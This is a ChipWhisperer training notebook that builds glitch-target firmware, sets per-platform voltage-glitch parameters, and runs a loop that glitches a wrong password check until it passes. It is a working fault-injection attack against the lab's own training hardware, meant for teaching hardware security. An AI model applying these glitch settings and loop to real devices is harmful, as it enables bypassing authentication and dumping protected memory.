{
 "cells": [
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "# Part 2, Topic 2: Voltage Glitching to Bypass Password"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "---\n",
    "NOTE: This lab references some (commercial) training material on [ChipWhisperer.io](https://www.ChipWhisperer.io). You can freely execute and use the lab per the open-source license (including using it in your own courses if you distribute similarly), but you must maintain notice about this source location. Consider joining our training course to enjoy the full experience.\n",
    "\n",
    "---"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "**SUMMARY:** *We've seen how voltage glitching can be used to corrupt calculations, just like clock glitching. Let's continue on and see if it can also be used to break past a password check.*\n",
    "\n",
    "**LEARNING OUTCOMES:**\n",
    "\n",
    "* Applying previous glitch settings to new firmware\n",
    "* Checking for success and failure when glitching"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## Firmware\n",
    "\n",
    "Again, we've already covered this lab, so it'll be mostly up to you!"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "SCOPETYPE = 'OPENADC'\n",
    "PLATFORM = 'CWLITEARM'\n",
    "SS_VER = 'SS_VER_2_1'"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "%run \"../../Setup_Scripts/Setup_Generic.ipynb\""
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "%%bash -s \"$PLATFORM\" \"$SS_VER\"\n",
    "cd ../../../firmware/mcu/simpleserial-glitch\n",
    "make PLATFORM=$1 CRYPTO_TARGET=NONE SS_VER=$2 -j"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "fw_path = \"../../../firmware/mcu/simpleserial-glitch/simpleserial-glitch-{}.hex\".format(PLATFORM)\n",
    "cw.program_target(scope, prog, fw_path)\n",
    "if SS_VER==\"SS_VER_2_1\":\n",
    "    target.reset_comms()"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "def reboot_flush():\n",
    "    reset_target(scope)\n",
    "    target.flush()\n",
    "if PLATFORM == \"CWLITEXMEGA\":\n",
    "    scope.clock.clkgen_freq = 32E6\n",
    "    if SS_VER=='SS_VER_2_1':\n",
    "        target.baud = 230400*32/7.37\n",
    "    else:\n",
    "        target.baud = 38400*32/7.37\n",
    "elif (PLATFORM == \"CWLITEARM\") or (\"F3\" in PLATFORM):\n",
    "    scope.clock.clkgen_freq = 24E6\n",
    "    if SS_VER=='SS_VER_2_1':\n",
    "        target.baud = 230400*24/7.37\n",
    "    else:\n",
    "        target.baud = 38400*24/7.37\n",
    "    "
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "#Do glitch loop\n",
    "reboot_flush()\n",
    "pw = bytearray([0x74, 0x6F, 0x75, 0x63, 0x68])\n",
    "target.simpleserial_write('p', pw)\n",
    "\n",
    "val = target.simpleserial_read_witherrors('r', 1, glitch_timeout=10)#For loop check\n",
    "valid = val['valid']\n",
    "if valid:\n",
    "    response = val['payload']\n",
    "    raw_serial = val['full_response']\n",
    "    error_code = val['rv']\n",
    "\n",
    "print(val)"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "Like with clock glitching, the scope object can set some typical glitch settings for you, with the additional requirement of specifying the transistor to use for glitching (`'both'`, `'lp'`, and `'hp'`):"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "if scope._is_husky:\n",
    "    scope.vglitch_setup('hp', default_setup=False)\n",
    "else:\n",
    "    scope.vglitch_setup('both', default_setup=False) # use both transistors"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "gc = cw.GlitchController(groups=[\"success\", \"reset\", \"normal\"], parameters=[\"width\", \"offset\", \"ext_offset\"])\n",
    "gc.display_stats()"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "gc.glitch_plot(plotdots={\"success\":\"+g\", \"reset\":\"xr\", \"normal\":None})"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "gc.set_range(\"ext_offset\", 0, 150)\n",
    "if scope._is_husky:\n",
    "    gc.set_range(\"width\", 1900, 1901)\n",
    "    gc.set_range(\"offset\", 2000, 2500)\n",
    "    gc.set_global_step([50])\n",
    "    gc.set_step(\"ext_offset\", 1)\n",
    "else:\n",
    "    if PLATFORM==\"CWLITEXMEGA\":\n",
    "        gc.set_range(\"width\", 43.5, 47.8)\n",
    "        gc.set_range(\"offset\", -48, -10)\n",
    "        #gc.set_range(\"ext_offset\", 7, 10)\n",
    "        gc.set_range(\"ext_offset\", 30, 45)\n",
    "        scope.glitch.repeat = 11\n",
    "    elif PLATFORM == \"CWLITEARM\":\n",
    "        #should also work for the bootloader memory dump\n",
    "        gc.set_range(\"width\", 30.7, 36)\n",
    "        gc.set_range(\"offset\", -40, -35)\n",
    "        scope.glitch.repeat = 7\n",
    "    elif PLATFORM == \"CW308_STM32F3\":\n",
    "        #these specific settings seem to work well for some reason\n",
    "        #also works for the bootloader memory dump\n",
    "        gc.set_range(\"ext_offset\", 11, 31)\n",
    "        gc.set_range(\"width\", 47.6, 49.6)\n",
    "        gc.set_range(\"offset\", -19, -21.5)\n",
    "        scope.glitch.repeat = 5\n",
    "        \n",
    "gc.set_step(\"ext_offset\", 1)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "#disable logging\n",
    "cw.set_all_log_levels(cw.logging.CRITICAL)\n",
    "\n",
    "scope.adc.timeout = 0.1\n",
    "successes = 0\n",
    "\n",
    "reboot_flush()\n",
    "\n",
    "for glitch_settings in gc.glitch_values():\n",
    "    scope.glitch.offset = glitch_settings[1]\n",
    "    scope.glitch.width = glitch_settings[0]\n",
    "    scope.glitch.ext_offset = glitch_settings[2]\n",
    "    if scope.adc.state:\n",
    "        # can detect crash here (fast) before timing out (slow)\n",
    "        #print(\"Trigger still high!\")\n",
    "        gc.add(\"reset\")\n",
    "        reboot_flush()\n",
    "\n",
    "    scope.arm()\n",
    "    target.simpleserial_write('p', bytearray([0]*5))\n",
    "    ret = scope.capture()\n",
    "    scope.io.vglitch_reset()\n",
    "    \n",
    "    if ret:\n",
    "        #print('Timeout - no trigger')\n",
    "        gc.add(\"reset\")\n",
    "\n",
    "        #Device is slow to boot?\n",
    "        reboot_flush()\n",
    "    else:\n",
    "        val = target.simpleserial_read_witherrors('r', 1, glitch_timeout=10, timeout=50)#For loop check\n",
    "        if val['valid'] is False:\n",
    "            gc.add(\"reset\")\n",
    "        else:\n",
    "            if val['payload'] == bytearray([1]): #for loop check\n",
    "                successes +=1 \n",
    "                gc.add(\"success\")\n",
    "                print(val)\n",
    "                print(val['payload'])\n",
    "                print(scope.glitch.width, scope.glitch.offset, scope.glitch.ext_offset)\n",
    "                print(\"🐙\", end=\"\")\n",
    "            else:\n",
    "                gc.add(\"normal\")\n",
    "                    \n",
    "#reenable logging\n",
    "cw.set_all_log_levels(cw.logging.WARNING)"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "Let's see where we needed to target for our glitch to work:"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "gc.calc([\"width\", \"offset\"], \"success_rate\")"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "scope.dis()\n",
    "target.dis()"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "assert successes >= 1"
   ]
  }
 ],
 "metadata": {
  "kernelspec": {
   "display_name": "Python 3 (ipykernel)",
   "language": "python",
   "name": "python3"
  },
  "language_info": {
   "codemirror_mode": {
    "name": "ipython",
    "version": 3
   },
   "file_extension": ".py",
   "mimetype": "text/x-python",
   "name": "python",
   "nbconvert_exporter": "python",
   "pygments_lexer": "ipython3",
   "version": "3.9.5"
  }
 },
 "nbformat": 4,
 "nbformat_minor": 4
}
